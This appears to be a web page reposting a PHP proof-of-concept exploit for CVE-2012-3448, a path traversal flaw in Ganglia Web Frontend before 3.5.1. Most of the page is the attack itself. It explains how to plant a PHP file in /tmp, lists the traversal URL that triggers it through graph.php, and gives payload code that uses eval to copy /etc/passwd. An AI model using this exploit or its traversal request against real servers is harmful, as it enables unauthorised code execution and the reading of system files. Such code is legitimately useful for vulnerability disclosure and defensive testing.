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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
<?php
/*

################################################################################
#
# Author    : Andrei Costin (andrei theATsign firmware theDOTsign re)
# Desc      : CVE-2012-3448 PoC
# Details   : This PoC will create a dummy file in the /tmp folder and 
#             will copy /etc/passwd to /tmp.
#             To modify the attack payload, modify the code below.\
# Setup     : Ubuntu Linux 14.04 LTS x86 with Ganglia Web Frontend 3.5.0
#
################################################################################

1. Assuming that ganglia is installed on the target machine at this path:
/var/www/html/ganglia/

2. Assuming the attacker has minimal access to the target machine and 
can write to "/tmp". There are several methods where a remote attacker can 
also trigger daemons or other system processes to create files in "/tmp" 
whose content is (partially) controlled by the remote attacker. 

3. The attacker puts the contents of this PoC file into the file:
/tmp/attack.php

4. The attacker visits the Ganglia Web Frontend interface with version < 3.5.1 
as:
http://targetIP/ganglia/graph.php?g=../../../../tmp/attack&metric=DUMMY&title=DUMMY

5. Confirm that the PoC created a dummy file in the /tmp folder and copied 
/etc/passwd to /tmp.

*/

eval('touch("/tmp/attacker.touch"); copy("/etc/passwd", "/tmp/attacker.passwd");');
die("Triggering CVE-2012-3448 attack.php");

?>